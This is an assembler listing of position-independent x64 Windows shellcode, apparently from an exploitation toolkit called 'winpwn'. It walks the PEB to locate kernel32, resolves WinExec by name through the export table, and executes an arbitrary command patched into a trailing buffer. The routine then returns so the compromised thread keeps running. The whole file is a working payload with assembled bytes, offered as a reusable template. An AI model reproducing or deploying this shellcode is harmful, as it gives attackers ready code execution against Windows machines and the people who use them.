156 lines
11 KiB
Plaintext
156 lines
11 KiB
Plaintext
1 ; winexec_x64.asm — position-independent x64 shellcode: resolve kernel32's
|
|
2 ; base via the PEB (no leak/hardcoded address needed), find WinExec by
|
|
3 ; name, and run a command. Returns normally (ret) so the host thread keeps
|
|
4 ; running afterward.
|
|
5 ;
|
|
6 ; cmd_buf is a 260-byte placeholder at the very end of the assembled blob;
|
|
7 ; winpwn patches it at runtime with the actual NUL-terminated command
|
|
8 ; (see shellcraft.go).
|
|
9 BITS 64
|
|
10 default rel
|
|
11
|
|
12 start:
|
|
13 ; Preserve the caller's rbp/r12 (both non-volatile per the Windows x64
|
|
14 ; ABI) and stash the post-push rsp in rbp so we can force 16-byte
|
|
15 ; alignment below and still land exactly back on the real return
|
|
16 ; address afterward. A bare `and rsp, ~0xF` with no matching restore
|
|
17 ; before `ret` pops whatever garbage is sitting at the shifted address
|
|
18 ; instead of the caller's actual return address — that's the bug this
|
|
19 ; replaced (verified by crash: rip ended up pointing into the Go
|
|
20 ; runtime's heap, i.e. exactly the kind of stale stack value this leaves
|
|
21 ; behind).
|
|
22 00000000 55 push rbp
|
|
23 00000001 4154 push r12
|
|
24 00000003 4889E5 mov rbp, rsp
|
|
25 00000006 4883E4F0 and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
|
|
26
|
|
27 0000000A E82F000000 call get_kernel32_base
|
|
28 0000000F 4989C4 mov r12, rax ; r12 = kernel32 base
|
|
29
|
|
30 00000012 4C89E1 mov rcx, r12
|
|
31 00000015 488D15C7000000 lea rdx, [rel name_winexec]
|
|
32 0000001C E839000000 call find_export
|
|
33 ; rax = WinExec address
|
|
34
|
|
35 00000021 488D0DC8000000 lea rcx, [rel cmd_buf]
|
|
36 00000028 BA05000000 mov edx, 5 ; SW_SHOW
|
|
37 0000002D 4883EC20 sub rsp, 0x20 ; shadow space required before any WinAPI call
|
|
38 00000031 FFD0 call rax
|
|
39 00000033 4883C420 add rsp, 0x20
|
|
40
|
|
41 00000037 4889EC mov rsp, rbp
|
|
42 0000003A 415C pop r12
|
|
43 0000003C 5D pop rbp
|
|
44 0000003D C3 ret
|
|
45
|
|
46 %include "resolver.inc"
|
|
1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn
|
|
2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded
|
|
3 <1> ; addresses) and resolve any export by name (no hashing, just a linear
|
|
4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of
|
|
5 <1> ; one-shot resolutions).
|
|
6 <1> ;
|
|
7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
|
|
8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every
|
|
9 <1> ; non-volatile register they touch, so callers can keep values live in
|
|
10 <1> ; r12-r15 across calls to either of these.
|
|
11 <1>
|
|
12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address
|
|
13 <1> ;
|
|
14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
|
|
15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
|
|
16 <1> ; fixed load order is the same trick essentially every public Windows x64
|
|
17 <1> ; shellcode relies on.
|
|
18 <1> get_kernel32_base:
|
|
19 0000003E 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
|
|
20 00000047 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr
|
|
21 0000004B 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
|
|
22 0000004F 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
|
|
23 00000052 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
|
|
24 00000055 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
|
|
25 00000059 C3 <1> ret
|
|
26 <1>
|
|
27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
|
|
28 <1> ; -> RAX = absolute address of the export, or 0 if not found.
|
|
29 <1> ;
|
|
30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
|
|
31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and
|
|
32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
|
|
33 <1> ; DataDirectory[0] (export table) offset for PE32+.
|
|
34 <1> find_export:
|
|
35 0000005A 4154 <1> push r12
|
|
36 0000005C 4155 <1> push r13
|
|
37 0000005E 4156 <1> push r14
|
|
38 00000060 4157 <1> push r15
|
|
39 00000062 56 <1> push rsi
|
|
40 00000063 57 <1> push rdi
|
|
41 00000064 53 <1> push rbx
|
|
42 <1>
|
|
43 00000065 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine)
|
|
44 00000068 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved)
|
|
45 <1>
|
|
46 0000006B 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew
|
|
47 00000070 4C01E0 <1> add rax, r12 ; rax = NT header VA
|
|
48 00000073 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
|
|
49 00000079 4C01E0 <1> add rax, r12
|
|
50 0000007C 4989C6 <1> mov r14, rax ; r14 = export directory VA
|
|
51 <1>
|
|
52 0000007F 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames
|
|
53 00000083 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA
|
|
54 00000087 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
|
|
55 0000008A 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
|
|
56 0000008E 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
|
|
57 00000091 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
|
|
58 00000095 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
|
|
59 <1>
|
|
60 00000098 4D31FF <1> xor r15, r15 ; r15 = loop index i
|
|
61 <1>
|
|
62 <1> .loop:
|
|
63 0000009B 4939DF <1> cmp r15, rbx
|
|
64 0000009E 7D34 <1> jge .notfound
|
|
65 <1>
|
|
66 000000A0 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i
|
|
67 000000A4 4C01E0 <1> add rax, r12
|
|
68 000000A7 4889C6 <1> mov rsi, rax ; rsi = candidate name VA
|
|
69 000000AA 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt)
|
|
70 <1>
|
|
71 <1> .cmp_loop:
|
|
72 000000AD 8A06 <1> mov al, [rsi]
|
|
73 000000AF 8A0F <1> mov cl, [rdi]
|
|
74 000000B1 38C8 <1> cmp al, cl
|
|
75 000000B3 750C <1> jne .next
|
|
76 000000B5 84C0 <1> test al, al
|
|
77 000000B7 740D <1> je .found ; both hit NUL with every byte equal -> match
|
|
78 000000B9 48FFC6 <1> inc rsi
|
|
79 000000BC 48FFC7 <1> inc rdi
|
|
80 000000BF EBEC <1> jmp .cmp_loop
|
|
81 <1>
|
|
82 <1> .next:
|
|
83 000000C1 49FFC7 <1> inc r15
|
|
84 000000C4 EBD5 <1> jmp .loop
|
|
85 <1>
|
|
86 <1> .found:
|
|
87 000000C6 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i
|
|
88 000000CB 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA
|
|
89 000000CF 4C01E0 <1> add rax, r12 ; absolute address
|
|
90 000000D2 EB03 <1> jmp .done
|
|
91 <1>
|
|
92 <1> .notfound:
|
|
93 000000D4 4831C0 <1> xor rax, rax
|
|
94 <1>
|
|
95 <1> .done:
|
|
96 000000D7 5B <1> pop rbx
|
|
97 000000D8 5F <1> pop rdi
|
|
98 000000D9 5E <1> pop rsi
|
|
99 000000DA 415F <1> pop r15
|
|
100 000000DC 415E <1> pop r14
|
|
101 000000DE 415D <1> pop r13
|
|
102 000000E0 415C <1> pop r12
|
|
103 000000E2 C3 <1> ret
|
|
47
|
|
48 000000E3 57696E4578656300 name_winexec: db "WinExec", 0
|
|
49
|
|
50 000000EB 90<rep 5h> align 8
|
|
51 cmd_buf:
|
|
52 000000F0 00<rep 104h> times 260 db 0
|